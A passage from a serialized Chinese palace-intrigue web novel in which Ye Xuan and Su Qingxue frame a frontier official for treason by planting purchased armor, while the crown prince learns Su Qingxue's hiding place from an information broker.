她推门而入,只见叶玄正坐在石桌旁,哪里还有半分先前在大厅里的疲惫之色,一双眸子在夜色中亮得惊人。
“信,发出去了吗?”
叶玄没有抬头,声音低沉地问道。
“已经寄出去了。”
苏轻雪走到他对面坐下,清冷的声音里带着一丝确认的意味。
“我用了苏家最隐秘的渠道,直接送往京中御史台一位老御史的手中,他为人最是刚正不阿,且与家父有旧,收到信后,必然会立刻上奏弹劾。”
“同时也修书一封给了父亲,相信他会处理好的。”
叶玄点了点头,对她的安排很满意。
一切,都在按照计划进行。
苏轻雪沉默了片刻,那双仿佛能洞悉人心的秋水明眸,静静地注视着叶玄。
“你真的……把王腾的腿接好了?还有,你该怎么证明王德发意图谋反?”
她终究还是问出了心中的疑惑。
以她对叶玄的了解,这个男人绝不是什么以德报怨的圣人。
王腾那般模样,又被叶玄亲手打断了腿,叶玄怎么可能真的会好心去为他医治?
这其中,必有蹊跷。
听到她的问题,叶玄终于抬起头,嘴角勾起一抹玩味的弧度。
他迎着苏轻雪探究的目光,缓缓吐出两个字。
“你猜。”
……
与此同时。
千里之外的京城,夜已深沉。
与云安城的宁静不同,即便是深夜,这座大乾王朝的心脏,依旧在某些不为人知的角落里,涌动着暗流。
城西,一处毫不起眼的民宅内。
一个身材精瘦,留着两撇鼠须的中年男人,正悠闲地品着一壶热酒。
他叫陈老三,是这京城里一个不起眼的情报贩子,靠着贩卖各种消息为生。
也是那些外派官员,了解京城情况的途径之一。
“啾——”
就在这时,一声尖锐而急促的鹰唳划破了夜空。
陈老三眼神一凛,手中的酒杯稳稳放下,身形一晃,便如鬼魅般出现在了院中。
一只神骏异常的海东青,正盘旋而下,精准地落在了他伸出的手臂上。
这是来自云安城的最顶级传讯方式,动用一次,耗费千金。
若非天大的急事,王德发绝不会启用它。
出事了!
陈老三心中一沉,立刻从海东青的脚环上解下一个蜡丸。
他捏开蜡丸,取出一张卷得极细的纸条,借着屋檐下的灯笼光芒展开。
纸条上的字迹潦草而急切,显然是写信之人心情极度不稳。
“急查!当朝首辅苏长青之女,苏轻雪,是否已离京?是否身在云安城?事关生死,速回!”
陈老三看着信上的内容,先是一愣。
苏轻雪?
当朝首辅的千金,那个名动京城的绝色才女?
他当然知道。
可是……
云安城?
陈老三的眉头瞬间紧紧地皱了起来,眼中满是困惑与不解。
这怎么可能?
王德发那个莽夫,是在千里之外喝多了酒,说胡话吗?
整个京城谁不知道,就在前些日子,太子府和首辅府同时传出消息。
说是首辅千金苏轻雪自幼体弱,近日旧疾复发,需要静养,已经被其父苏长青派人护送,前往气候温润的江南庄园疗养去了。
为此,太子殿下还大张旗鼓的想要前往江南,但却被人拦下了。
这件事在京城的上层圈子里,早已不是什么秘密。
一个本该在江南养病的人,怎么会突然出现在数千里之外的北方边城云安?
这根本不合常理!
陈老三捏着那张薄薄的纸条,只觉得它重如千钧。
他很清楚王德发的为人,那是个粗鄙不堪的武夫,但绝不是个会拿这种事开玩笑的蠢货。
信上“事关生死”四个字,更是让他心惊肉跳。
这其中,必然发生了他所不知道的惊天变故!
一个在南,一个在北。
这截然相反的两个消息,其中必然有一个是假的!
但很快,陈老三就想到了一个发财的办法,正好太子殿下的人还在江南寻找苏轻雪的位置,那么自己将这个情报透露出去,那岂不是发财了?
至于王德发那边,就直接回苏轻雪确实不在京城就可以了,反正消息是真的,谁管他死活!
第42章 投靠太子
陈老三捏着那张薄如蝉翼的纸条,眼中精光闪烁,嘴角抑制不住地上扬,露出一口被酒水浸染得微黄的牙齿。
发财了!
这绝对是一笔天大的买卖!
他很清楚,当朝太子叶天为了得到苏轻雪,已经到了近乎疯魔的地步。
如今苏轻雪下落不明,太子府的悬赏一天比一天高,整个江南的情报网都被搅动得天翻地覆。
而现在,这个最关键的情报,就握在他的手里。
他仿佛已经看到了无数金灿灿的元宝在向自己招手。
至于王德发?
陈老三的眼中闪过一丝不屑与冷酷。
一个远在小城的莽夫罢了,死活与自己何干?
他迅速地回到屋内,研磨铺纸,笔尖蘸饱了墨,思索片刻后,飞快地写下了一封回信。
信的内容言简意赅,却又滴水不漏。
“经查,首辅千金苏轻雪,确于数日前离京。”
“然,京中传闻,其乃往江南庄园养病,并非云安。”
“此事蹊跷,真假难辨,望王大人慎之。”
写完,他将纸条吹干,卷起,重新塞入一个新的蜡丸之中。
他走出屋子,对着夜空中盘旋的海东青打了个呼哨。
那神骏的猛禽立刻俯冲而下,陈老三熟练地将蜡丸绑在它的脚环上,随即手臂一振,海东青便化作一个黑点,消失在深沉的夜幕之中。
做完这一切,陈老三没有片刻耽搁。
他换上了一身更体面的衣服,将那张来自王德发的原始信纸小心翼翼地揣进怀里,然后快步走出了自己那不起眼的民宅。
夜色下的京城,街道空旷,唯有巡夜的更夫和偶尔驶过的马车。
陈老三七拐八绕,最终停在了皇城东侧一处气派非凡的府邸门前。
这里并非东宫,却是太子叶天私下里豢养幕僚、处理一些见不得光事务的别院。
门口的守卫气息沉稳,眼神锐利,显然都是一等一的好手。
陈老三不敢造次,远远地便停下脚步,对着其中一名守卫头领拱了拱手,脸上堆满了谦卑而谄媚的笑容。
“这位军爷,小的陈三,有天大的要事,关乎太子殿下心心念念之人,想求见府中主事之人。”
那守卫头领瞥了他一眼,眼神中带着审视与不屑。
“什么阿猫阿狗都想见主事?滚!”
陈老三也不恼,依旧保持着笑容,压低了声音,一字一句地说道。
“此事,与苏家那位千金有关。”
“苏轻雪!”
听到这三个字,那守卫头领的脸色瞬间一变。
他再次上下打量了陈老三几眼,沉声问道:“你有什么证据?”
“证据就在小人身上,但此物只能面呈太子殿下,或者殿下最信任的人。”
陈老三故作神秘,他知道,越是这样,对方就越会重视。
守卫头领沉吟片刻,终究不敢怠慢。
苏轻雪的名字,如今在太子府,就是最大的禁忌,也是最大的功劳。
“你在这里等着,我去通报。”
“另外,留下你的住址,若是敢耍我们,天涯海角,也要你的命!”
“是是是,小人怎敢。”
陈老三连忙报上了自己的住处,姿态放得极低。
……
与此同时,皇城之内,东宫。
雕梁画栋,金碧辉煌。
奢华的宫殿内,熏香袅袅,数十名貌美的宫女小心翼翼地侍立两侧,连呼吸都放到了最轻。
太子叶天,正一脸烦躁地斜倚在铺着白虎皮的软榻上。
他面容俊朗,却因为纵情声色而显得有些苍白,眉宇间带着一股挥之不去的戾气与骄纵。
“废物!都是一群废物!”
他猛地将手中的琉璃杯掷于地上,价值连城的酒杯瞬间四分五裂。
“本宫养着你们,连个女人都找不到!”
“整个江南都快被你们翻过来了,苏轻雪呢?”
“她一个弱女子,难不成还能插翅飞了不成!”
殿下,一众幕僚和侍卫全都跪在地上,噤若寒蝉,头都不敢抬。
就在这时,一名心腹幕僚从殿外匆匆走入,跪行至叶天面前,低声禀报道。
“殿下,别院那边传来消息。”
“有个叫陈三的情报贩子,声称有苏小姐的线索。”
“哦?”
叶天烦躁的脸上终于露出了一丝兴趣,他坐直了身子,眼神阴鸷。
“让他滚过来见我!”
“是!”
命令很快传达下去。
没过多久,陈老三便被两名侍卫“请”进了这富丽堂皇的东宫。
一踏入大殿,那股逼人的奢华与威严,便压得他几乎喘不过气来。
他不敢抬头,噗通一声跪在地上,以头抢地。
“草民陈三,叩见太子殿下,殿下千岁千岁千千岁!”
叶天居高临下地俯视着他,就像在看一只蝼蚁,声音里带着一丝不耐。
“抬起头来。”
“你就是陈三?听说,你有轻雪的消息?”
他直呼苏轻雪的名字,语气亲昵,仿佛那已是他的囊中之物。
陈老三闻言,心中一喜,知道自己赌对了。
他缓缓抬起头,却依旧不敢直视叶天,脸上堆满了最为恭敬的笑容。
“回殿下,草民不敢说有确切的消息,但草民手上,有一条极其重要的线索,或许能助殿下找到苏小姐的芳踪。”
“少废话,快说!”
叶天没有耐心听他兜圈子。
“是!”
陈老三不敢再卖关子,小心翼翼地从怀中掏出那张来自王德发的信纸,由一旁的太监呈了上去。
“殿下请看,这是草民刚刚从数千里之外的北境云安城,收到的加急密信。”
叶天接过信纸,一目十行地扫过。
当他看到“苏轻雪”、“云安城”这几个字眼时,原本舒展的眉头猛地一挑。
起初,他还有些疑惑。
云安城?
苏轻雪怎么会去那里?
但仅仅一瞬间,叶天就什么都明白了!
他的脸色由白转红,又由红转青,最后变得铁青一片,双拳猛地攥紧,手背上青筋暴起!
“好!”
“好一个苏长青!”
“好一个声东击西,瞒天过海!”
叶天咬牙切齿地低吼出声,英俊的面容因为极致的愤怒而显得有些扭曲。
他明白了!
苏长青那个老狐狸!
他故意放出消息,说苏轻雪体弱,要去气候温润的江南疗养,把所有人的目光都吸引到了南方。
甚至连自己,都被他耍得团团转,派出了无数人手在江南一带徒劳无功地搜寻。
可谁能想到,他真正的目的,却是反其道而行之,将苏轻雪送往了气候苦寒的北方!
最危险的地方,就是最安全的地方!
好手段!
被戏耍的愤怒,以及对苏轻雪更加炽热的占有欲,瞬间冲上了叶天的头顶。
他感觉自己的尊严,被苏长青那个老东西狠狠地踩在了脚下!
“苏长青……苏轻雪……”
“你们给本宫等着!”
“等本宫抓到你,定要让你知道,违逆本宫的下场!”
叶天的眼中迸射出骇人的寒光,整个大殿的温度都仿佛骤降了几分。
他猛地站起身,对着下方的幕僚和侍卫厉声喝道。
“传令!”
“立刻给本宫调集人手,最精锐的人手!”
“目标,云安城!”
“这一次,就算是把云安城给本宫翻个底朝天,也必须把苏轻雪给本宫找出来!”
“活要见人,死……也要见尸!”
他的声音,充满了不容置疑的威严与暴戾。
随后,他的目光又落回到了跪在地上的陈老三身上,脸上露出一丝满意的神色。
“你,很好。”
“你叫陈三是吧?你为本宫立下了大功。”
“来人,赏黄金百两!”
“以后,你就是本宫的人了,专门为本宫打探消息。”
陈老三闻言,顿时欣喜若狂,激动得浑身发抖,连连磕头。
“谢太子殿下!谢太子殿下!”
“草民愿为殿下效死!肝脑涂地,在所不辞!”
他知道,从今天起,他的人生将彻底改变。
他攀上了太子这棵参天大树,未来,将是享不尽的荣华富贵。
而这一切,都只是因为他做出了一个最正确的选择。
至于那个远在云安城的王德发,早已被他抛到了九霄云外。
第43章 意图谋反!
就在太子开始安排人行动的时候,首辅府邸的书房内依旧灯火通明。
苏长青端坐于书案之后,手中捏着一封同样由秘密渠道加急送达的信件。
信上的字迹娟秀中带着一丝锋锐,正是出自他女儿苏轻雪之手。
他一字一句,看得极其仔细,古井无波的脸上,眼神却愈发深邃。
信中,苏轻雪详细叙述了云安城之事的来龙去脉,以及她与叶玄联手,借王腾之事设局,准备弹劾王德发的完整计划。
“叶玄……”
苏长青放下信纸,口中轻轻咀嚼着这个名字。
对于这个曾经的京城笑柄,被太子陷害发配北凉的废人,他自然有所耳闻。
只是他未曾料到,自己那心高气傲的女儿,竟会与此人联手,并且在信中对他似乎隐有推崇之意。
“以雷霆手段震慑王德发,又借其子之伤反向布局,环环相扣,倒是有些章法。”
苏长青的手指轻轻敲击着桌面,发出规律的声响。
他知道,女儿的这封信,既是告知,也是请求。
请求他在朝堂之上,给予最关键的临门一脚。
一个远在边城的兵马司副指挥使,对他而言不过是蝼蚁之辈,弹指可灭。
但此事牵扯到了太子,牵扯到了他女儿的安危,便由不得他不慎重。
他缓缓起身,走到窗边,望着天边那轮残月,眼中闪过一抹冷厉的光。
太子叶天对轻雪的觊觎之心,早已是司马昭之心,路人皆知。
这一次,他将女儿送往看似苦寒凶险的北方,本就是一招险棋。
如今,太子的爪牙已经伸向云安,那么这颗早已布下的棋子,也到了该动用的时候了。
苏长青回到书案前,亲自研磨,提笔回信。
他的笔锋沉稳有力,字里行间却流露出一丝不易察觉的关切。
“雪儿,汝之计,为父已悉。”
“朝堂之事,无需担忧,明日自有分晓。”
“然,云安已是风暴之眼,太子眼线密布,汝之行踪恐已暴露,断不可久留。”
“为父已另作安排,见信后,即刻动身,前往雁门关,那里自有接应。”
“万事,以自身安危为上。”
写到此处,他笔锋一顿,思索片刻,又添上了一句。
“至于那叶玄,究竟是何人物,待你我父女相见之日,再做详谈。”
他将信纸吹干,装入信封,用火漆封口,唤来心腹,沉声吩咐道:“用最快的渠道,务必亲手交到小姐手上。”
“是,相爷!”
心腹领命而去,书房内复又恢复了寂静。
苏长青负手而立,目光仿佛穿透了重重宫墙,望向了那金碧辉煌的东宫,眼神冰冷如霜。
叶天,你想动我的女儿,那便要做好被斩断爪牙的准备!
……
翌日,金銮殿。
天光微熹,文武百官早已分列两侧,气氛庄严肃穆。
大乾皇帝叶擎天高坐于龙椅之上,面容威严,不怒自威。
他的身侧,太子叶天一身蟒袍,昂首而立,脸上带着几分掩饰不住的得意与期待。
他已经调动了太子府最精锐的卫队,由心腹统领,正星夜兼程,扑向云安城。
他仿佛已经看到,苏轻雪被抓到自己面前,那张清冷的绝色容颜上,会露出何等惊慌失措的表情。
一想到这里,他的嘴角便忍不住微微上扬。
苏长青那个老狐狸,以为玩了一手声东击西就能瞒天过海?
可笑!
在这大乾王朝,就没有他叶天得不到的东西!
“有事起奏,无事退朝——”
太监尖细的嗓音在大殿内回响。
话音刚落,御史台队列中,一名须发皆白的老御史便手持笏板,迈步出列。
“臣,都察院左都御史刘政,有本启奏!”
老御史声如洪钟,中气十足,神情刚正不阿。
叶擎天抬了抬眼皮,淡淡道:“准奏。”
太子叶天瞥了那老御史一眼,心中有些不屑。
不过是些陈芝麻烂谷子的事情,这帮言官,最是烦人。
然而,老御史接下来的话,却让他的脸色瞬间凝固。
“臣,弹劾北境云安城兵马司副指挥使王德发!”
王德发?
云安城?
叶天的心猛地一跳,一股不祥的预感涌上心头。
他下意识地转头,看向了站在文官之首,眼观鼻、鼻观心,仿佛老僧入定般的苏长青。
只听那老御史刘政的声音在大殿之上清晰回荡,字字铿锵!
“王德发此人,身为朝廷命官,不思报效君恩,反倒在云安城拥兵自重,作威作福!”
“其一,鱼肉百姓,强占民田,引得云安城内民怨沸腾,怨声载道!”
“其二,公然吃朝廷空饷,其麾下兵马司兵员名册多有虚报,每年冒领军饷数以万计,中饱私囊!”
这两条罪状一出,朝堂之上已是一片低低的哗然。
吃空饷,贪墨军费,这在靠近边境的军队之中虽是潜规则,但一旦被摆到台面上,便是重罪!
然而,刘政接下来的话,却如同一道惊雷,在整个金銮殿炸响!
“其三,也是最罪无可赦的一条!”
老御史猛地提高了音量,双目圆瞪,怒指北方。
“有确切消息称,王德发狼子野心,竟在城中私设铁匠作坊,暗中打造军械甲胄!”
“私造甲胄,形同谋反!”
“轰!”
“谋反”二字一出,整个朝堂彻底炸开了锅!
文武百官无不骇然变色,交头接耳,议论纷纷。
“什么?私造甲胄?这王德发是吃了熊心豹子胆吗?”
“一个区区兵马司副指挥使,他想干什么?造反?”
“此事若真,当诛九族啊!”
太子叶天的脑袋嗡的一声,一片空白。
他死死地盯着那慷慨陈词的老御史,又看了看面无表情的苏长青,瞬间什么都明白了!
圈套!
这是一个天大的圈套!
昨天,陈老三的情报才刚刚送到自己手上,点出苏轻雪就在云安城。
今天,苏长青的屠刀就当着满朝文武的面,精准地砍向了云安城的王德发!
这速度,这配合,简直天衣无缝!
苏长青这个老匹夫!
他早就料到自己会查到云安城,所以先下手为强,直接在朝堂之上,把王德发这颗棋子给废了!
如此一来,自己派去的人马,还没到云安城,目标就已经成了朝廷钦犯!
届时,自己的人马是抓苏轻雪,还是坐视朝廷缉拿钦犯?
无论怎么做,都将陷入极其被动的境地!
被耍了!
又被这个老狐狸给耍了!
一股难以言喻的羞辱和狂怒,直冲叶天的天灵盖,他攥紧的双拳,指甲几乎要嵌进肉里,英俊的面庞因为愤怒而涨得通红,呼吸都变得粗重起来。
龙椅之上,皇帝叶擎天那古井无波的脸上,终于有了一丝变化。
他的目光缓缓扫过下方哗然的群臣,扫过脸色铁青的太子,最后落在了那名老御史的身上。
他的声音听不出喜怒,却带着一种不容置疑的威严。
“刘爱卿,你所言之事,可有实证?”
刘政躬身道:“回陛下,臣所言,皆有真凭实据!至于私造甲胄一事,事关重大,恳请陛下立刻派遣钦差,封锁云安城,彻查王德发府邸及其党羽,必能人赃并获!”
叶擎天沉默了片刻。
整个大殿鸦雀无声,所有人都屏住了呼吸,等待着九五之尊的最终裁决。
对于王德发是否真的谋反,叶擎天其实并不完全相信。
一个小城内的小小武官,能有多大的胆子?
但,这不重要。
重要的是,御史台已经当朝弹劾,而且罪名是“谋反”。
无论真假,他都必须做出最严厉,最迅速的反应。
这是为了维护皇权的绝对威严!
也是为了震慑天下所有心怀不轨之人!
“传朕旨意!”
叶擎天冰冷的声音,响彻大殿。
“着刑部、大理寺、都察院,三司会审此案!”
“命禁军统领李广,即刻点齐三千禁军,八百里加急,奔赴云安城!”
“将王德发一干人等,悉数缉拿归案,抄没家产,封锁全城,严查其党羽!”
“若有反抗,格杀勿论!”
“违令者,斩!”
一连串的命令,干脆利落,杀伐果断。
每一个字,都像是一柄重锤,狠狠地敲在每一个人的心上。
太子叶天浑身一震,脸色瞬间变得惨白。
完了!
父皇亲自下令,禁军出动,王德发死定了!
自己派去的人,也彻底失去了行动的意义。
苏长青,你够狠!
他抬起头,怨毒的目光死死地盯着苏长青,却只看到对方依旧是一副风轻云淡,仿佛什么都与他无关的模样。
这种被玩弄于股掌之间,却又无力反击的感觉,让叶天几欲发狂!
而朝堂之下,百官噤若寒蝉,齐齐跪倒在地。
“臣等,遵旨!”
山呼海啸般的声音,回荡在金銮殿内,久久不息。
一场针对云安城的雷霆风暴,就此拉开了序幕。
第44章 购买赃物
京城的风暴,远在千里之外的云安城尚不知晓。
但风暴的真正策源者,叶玄,却并未有丝毫的松懈。
朝堂上的博弈是第一步,而坐实王德发的罪名,则需要一个无可辩驳的铁证。
弹劾奏章上最致命的一条,是“私造甲胄,意图谋反”。
这顶帽子一旦扣实,王家便是万劫不复。
至于甲胄从何而来?
叶玄的嘴角勾起一抹冷笑。
王德发吃空饷,军营里必然有被倒卖出来的军备。
有贪欲的地方,就有破绽。
他需要做的,只是将这些本就存在的赃物,放到一个能让所有人都看到的地方。
比如,王德发的府邸。
叶玄找到了柳承业。
此刻的柳承业,早就是和叶玄一条船上的人了,对于他的要求基本上有求必应。
“叶公子,您有何吩咐?”
柳承业的态度恭敬到了极点,他深知,柳家的命运已经和眼前这个深不可测的年轻人紧紧绑在了一起。
“柳家主,我需要一笔钱。”
叶玄开门见山,语气平淡。
“需要多少,公子尽管开口!”
柳承业没有丝毫犹豫,拍着胸脯保证。
“数目不必太大,能买五副上好的铁甲即可。”
叶玄淡淡道。
柳承业闻言,心中猛地一震。
买甲胄?还是五副?
这在民间可是重罪!
他瞬间联想到了王家,一个大胆而又让他心惊肉跳的猜测浮现在脑海。
这位叶公子,是要……
他不敢再想下去,只是感到一股寒意从背脊直冲头顶。
“公子放心,钱不是问题!我这就去准备!”
柳承业不敢多问一句,连忙转身去安排,心中对叶玄的手段又多了一层深深的忌惮。
很快,一个沉甸甸的钱袋便交到了叶玄手上。
叶玄换上了一身不起眼的灰色布衣,将自身气息收敛到极致,如同一个最普通的江湖客,悄无声息地消失在柳府。
云安城兵马司军营,守备森严。
高墙之上,有手持长戟的兵士来回巡逻,营门前更是站着两排煞气腾腾的卫兵。
叶玄并未从正门进入,而是绕到了军营后方一处相对偏僻的侧门。
这里是军中一些人私下里做些见不得光勾当的通道。
这是云安城乃至整个边境城市的潜规则。
他静静地观察了片刻,锁定了一个看上去有些油滑,眼神飘忽不定的守门兵士。
叶玄缓步上前,在那兵士警惕的目光中,不远不近地停下。
“这位军爷。”
他的声音不大,却清晰地传入对方耳中。
那兵士上下打量着叶玄,见他面生得很,顿时皱起了眉头,手已经按在了腰间的刀柄上。
“什么人?滚远点!”
“我是城南张麻子介绍来的,想跟军爷谈笔生意。”
叶玄随口胡诌了一个名字,脸上挂着恰到好处的市侩笑容。
“张麻子?不认识!”
那兵士一脸不耐烦,警惕心却丝毫未减。
“这里是军营重地,你想死找别地去!”
说罢,他“砰”的一声,竟是直接将侧门给关上了,连话都懒得再说一句。
叶玄吃了个闭门羹,却丝毫不恼。
他只是平静地对着门板说道:“我出高三成的价钱,买五副甲胄,现银。”
门内,瞬间陷入了死寂。
过了足足十几个呼吸,那扇紧闭的木门,才“吱呀”一声,开了一道微不可查的缝。
那兵士的眼睛从门缝里透出来,闪烁着贪婪与挣扎。
“你说什么?”
“高三成,五副,现银。”
叶玄重复了一遍,语气依旧平淡,仿佛在说一件微不足道的小事。
高出市价三成!
这笔利润,足以让他铤而走险!
那兵士狠狠地咽了口唾沫,内心的天平在瞬间就倒向了金钱那一边。
他飞快地左右看了一眼,确认无人注意,猛地将门拉开,一把将叶玄拽了进去,然后迅速关上了门。
“你小子胆子不小啊!知道这是什么地方吗?”
兵士压低了声音,恶狠狠地说道,但眼中的贪婪却出卖了他。
“我只知道,有钱能使鬼推磨。”
叶玄轻笑一声,将那个沉甸甸的钱袋扔了过去。
兵士一把接住,打开一角,看到里面白花花的银子,眼睛都直了。
“跟我来,快点!”
他不再废话,领着叶玄在军营中七拐八绕,来到一处堆放杂物的偏僻库房。
很快,五副保养得还算不错的制式铁甲,便被他从一堆破烂中翻了出来。
“货在这里,钱货两清,你赶紧走!以后别再来找我!”
兵士催促道,显然也是心虚得很。
叶玄检查了一下甲胄,确认无误后,点了点头。
他没有当场将甲胄带走,只是约定了片刻后在营外某处隐蔽地点交接。
那兵士只想快点送走这个烫手山芋,自然是满口答应。
交易顺利完成。
叶玄将五副沉重的甲胄带到一处无人的小巷,神念一动,便将它们悉数收入了芥子空间之中。
做完这一切,他整理了一下衣衫,仿佛什么都未发生过,径直朝着王德发的府邸走去。
此时的王府,气氛依旧压抑。
叶玄的到来,让王德发仿佛看到了救星。
“叶神医!您可来了!”
“王指挥使客气了,令郎的伤势需要后续治疗,我自然会上心。”
叶玄微微颔首,走进了王腾的房间。
房间里弥漫着浓重的药味,王腾躺在床上,脸色苍白,一看到叶玄,眼中便流露恐惧的神色。
“叶……叶神医……”
“别动,我为你检查一下伤口,再施针巩固一番。”
叶玄的声音温和,带着一种令人信服的力量。
他让下人退去,房间里只剩下他和昏昏欲睡的王腾。
一番看似专业的检查过后,叶玄取出银针。
“接下来的治疗,需要你完全放松,沉睡过去效果才最好。”
王腾早已将他当成了救命稻草,闻言毫不怀疑,听话地闭上了眼睛。
叶玄屈指一弹,一缕微不可查的劲气没入王腾颈后的一处穴位。
王腾的呼吸立刻变得均匀而深沉,已然陷入了深度昏睡。
叶玄站起身,眼神瞬间变得冰冷锐利。
他如同一只狸猫,悄无声息地推开窗户,身形一闪,便消失在房间里。
凭借着远超常人的感知,他很快便锁定了王府地窖的位置。
地窖的锁,对他而言形同虚设。
进入阴暗潮湿的地窖,叶玄神念再动,那五副冰冷的铁甲凭空出现,带着一丝肃杀之气,被他整齐地码放在地窖最深处的一个角落里。
他又随手将旁边几个蒙尘的酒坛挪了挪,做出了一副刻意遮掩的模样。
如此一来,待钦差来搜查时,一眼就能看出这里的“不寻常”。
做完这一切,叶玄没有丝毫停留,原路返回。
他回到王腾的房间,时间掐算得刚刚好。
他拔出最后一根银针,轻轻拍了拍王腾的脸颊。
“好了,醒醒。”
王腾悠悠转醒,只觉得精神好了许多,断腿处的还是依然没有痛觉。
“多谢叶神医……多谢叶神医……”
他感激涕零地说道,完全不知道,就在他沉睡的这片刻之间,一场足以将他王家彻底埋葬的弥天大祸,已经被悄然布置妥当。
叶玄看着他,脸上依旧是那副温和的笑容,眼底深处,却是一片漠然的冰冷。
“好好休养吧。”
他转身离去,将身后王家满门的命运,彻底关在了门内。
夜色如墨,杀机已藏。
只待天明,雷霆降临。
第45章 道歉?问我没用
王府之内,夜色深沉,一如王德发此刻的心情。
书房的烛火摇曳不定,将他粗犷的脸庞映照得忽明忽暗。
他死死攥着手中那张从京城八百里加急送来的信纸,纸张的边缘已被他手心的汗水浸透,变得褶皱不堪。
信是陈老三送回来的,上面的字迹潦草,内容更是语焉不详,只有寥寥数语:“所询之人,确已离京,去向不明,兄自珍重。”
去向不明?
这四个字,在王德发眼中,却比直接告诉他苏轻雪就在云安城还要恐怖百倍!
王德发脑中轰然作响,叶玄那张云淡风轻的脸,苏轻雪那双清冷如霜的眸子,在他眼前不断交替浮现。
他终于彻底明白,自己究竟是惹上了怎样的滔天大祸。
恐惧如潮水般将他淹没,他甚至能感觉到死神的镰刀已经悬在了自己的脖颈之上。
不行,不能坐以待毙!
道歉!必须立刻去道歉!
他猛地站起身,在书房里焦躁地来回踱步,像一头被困在笼中的猛兽。
可要如何道歉?直接闯上柳家门去?那只会显得更加鲁莽,恐怕会适得其反。
突然,一个念头闪过他的脑海。
柳家的宴会!
柳承业为了庆祝女儿大病初愈,广发请柬,宴请云安城有头有脸的人物,他王德发自然也在受邀之列。
时间,就在明天!
那将是全城名流汇聚的场合,是最好的,也可能是最后的机会!
他必须在宴会上,当着所有人的面,向那位叶神医,尤其是向那位苏千金,表达自己最诚挚的歉意!
只是……她会去吗?
王德发的心又悬了起来,他现在唯一的希望,就是能在明天的柳府宴席上,看到那个让他寝食难安的清冷身影。
翌日,柳府门前车水马龙,宾客盈门。
整座府邸张灯结彩,喜气洋洋,与王德发那阴云密布的心情形成了鲜明对比。
云安城内但凡有些名望的富商、官员、士绅,几乎都到齐了,人人脸上都挂着热情的笑容,相互拱手寒暄。
王德发穿着一身崭新的锦袍,却全无半点赴宴的喜悦,他站在人群中,目光焦灼地在往来宾客中来回扫视。
时间一点一滴地流逝,眼看宾客们都已入席,宴会即将开始,他却始终没有看到自己想见的人。
他心中的焦躁与恐惧愈发浓烈,额头上甚至渗出了一层细密的冷汗。
再也按捺不住,他挤开人群,快步走到了正满面春风招待客人的柳承业身边。
“柳家主,恭喜,恭喜啊!”王德发强挤出一丝比哭还难看的笑容。
“王指挥使客气了,快请入席。”柳承业客套地回应道。
王德发搓着手,压低了声音,试探着问道:“柳家主,不知……那位叶神医,还有那位苏姑娘,今日可会前来?”
柳承业看了他一眼,眼神中带着一丝不易察觉的玩味,随即笑道:“王指挥使莫急,叶公子与轻雪稍后便到,他们说会与小女一同出来。”
听到这话,王德发高悬的心总算是落下了一半,他长长地舒了一口气,连声道:“那就好,那就好……”
他这才乖乖地回到自己的座位上,如坐针毡地等待着。
吉时已到,宴会正式开始。
柳承业走上高台,声音洪亮地致辞,感谢各位来宾的光临,言语间满是对女儿康复的喜悦与对叶玄的无尽感激。
就在全场宾客的掌声之中,后堂的珠帘被轻轻掀开。
一道身影,如月下青莲,悄然出现在众人眼前。
一时间,满堂的喧哗与掌声,仿佛被一只无形的手瞬间掐断,所有人的目光都被吸引了过去。
柳月雪身着一袭淡青色长裙,身姿轻盈,步履款款。
她本就容貌绝美,久病初愈后,苍白的脸上添了几分健康的红润,更显得清丽脱俗,宛如谪尘仙子,不染一丝人间烟火。
在她的身旁,叶玄一袭白衣,神情淡然,嘴角噙着若有若无的笑意。
而另一侧,则是身着素白衣裙的苏轻雪,她气质清冷,容颜绝世,与柳月雪的温婉形成了鲜明的对比,二人并肩而立,当真是各有千秋,风华绝代,令满堂春色都为之黯然。
“是柳家大小姐!天啊,她的病真的好了!”
“何止是好了,简直比传闻中还要美上三分!”
“她身边的就是那位叶神医吧?果然是气度不凡!”
“另一位姑娘是谁?竟能与柳大小姐平分秋色!”
短暂的寂静后,场下爆发出雷鸣般的议论声,所有人都被这惊艳的场面所震撼。
王德发在看到那三道身影的瞬间,瞳孔猛地一缩,心脏几乎要从嗓子眼里跳出来。
他来了!她也来了!
他再也坐不住了,猛地端起酒杯,深吸一口气,迈着沉重的步伐,朝着叶玄那一桌走了过去。
他挤开围在旁边想要攀谈的众人,脸上堆满了谄媚的笑容,凑到叶玄跟前。
“叶神医!”王德发的声音因为紧张而有些干涩。
叶玄抬眸,淡淡地看了他一眼,仿佛有些意外:“王指挥使,有事?”
“哎,不敢当,不敢当!”王德发连忙摆手,姿态放得极低,“我是特地来感谢叶神医的!犬子王腾的伤势,多亏了您出手救治,否则后果不堪设想啊!”
他说着,从怀中掏出一个厚厚的锦囊,双手捧着递到叶玄面前。
“这是小人的一点心意,区区薄礼,不成敬意,还望叶神医务必收下,就当是给您的辛苦费了!”
锦囊沉甸甸的,里面显然是分量不小的金银。
然而,王德发虽然嘴上对着叶玄说话,但他的眼角余光,却一直小心翼翼地瞟向一旁安然端坐、自始至终没有看他一眼的苏轻雪。
这番做派,哪里是来感谢的,分明是来赔罪求饶的。
叶玄心中冷笑,面上却不动声色。
他知道,王德发这醉翁之意,根本不在酒。
他没有去接那个锦囊,只是端起茶杯,轻轻抿了一口,随即用眼神示意了一下身旁的苏轻雪。
那意思很明显:这个人,交给你了。
苏轻雪冰雪聪明,早已洞悉了一切。
她缓缓放下手中的茶盏,清冷的目光终于落在了王德发的身上。
“王指挥使,”苏轻雪朱唇轻启,声音清越,却不带一丝一毫的温度,“令郎的伤,是叶公子医治的,你的谢礼,也该由叶公子定夺。我一介女流,不便插手。”
她的话说得客气至极,却又疏离到了极点。
每一个字,都像是一道无形的墙,将王德发与他们隔绝开来,让他所有的讨好与谄媚,都显得那么滑稽可笑。
王德发捧着锦囊的手僵在半空,脸上的笑容比哭还难看,他张了张嘴,却一个字也说不出来。
苏轻雪说完,便不再看他,重新端起茶杯,与身旁的柳月雪低声交谈起来,仿佛他这个人根本就不存在。
无视。
这是最彻底的无视!
比任何斥责与怒骂,都更能让人感到绝望。
王德发站在原地,只觉得周围所有人的目光都像针一样扎在他身上,让他无地自容。
他知道,自己完了。
对方根本不接受他的道歉,或者说,根本不屑于接受他的道歉。
他捧着那个滚烫的锦囊,进也不是,退也不是,一张老脸涨成了猪肝色,最终只能灰溜溜地收回手,狼狈不堪地退回了自己的座位。
一场风波,消弭于无形。
叶玄看着王德发失魂落魄的背影,眼底深处闪过一抹漠然。
他举起酒杯,遥遥向着主座上的柳承业示意了一下,一饮而尽。
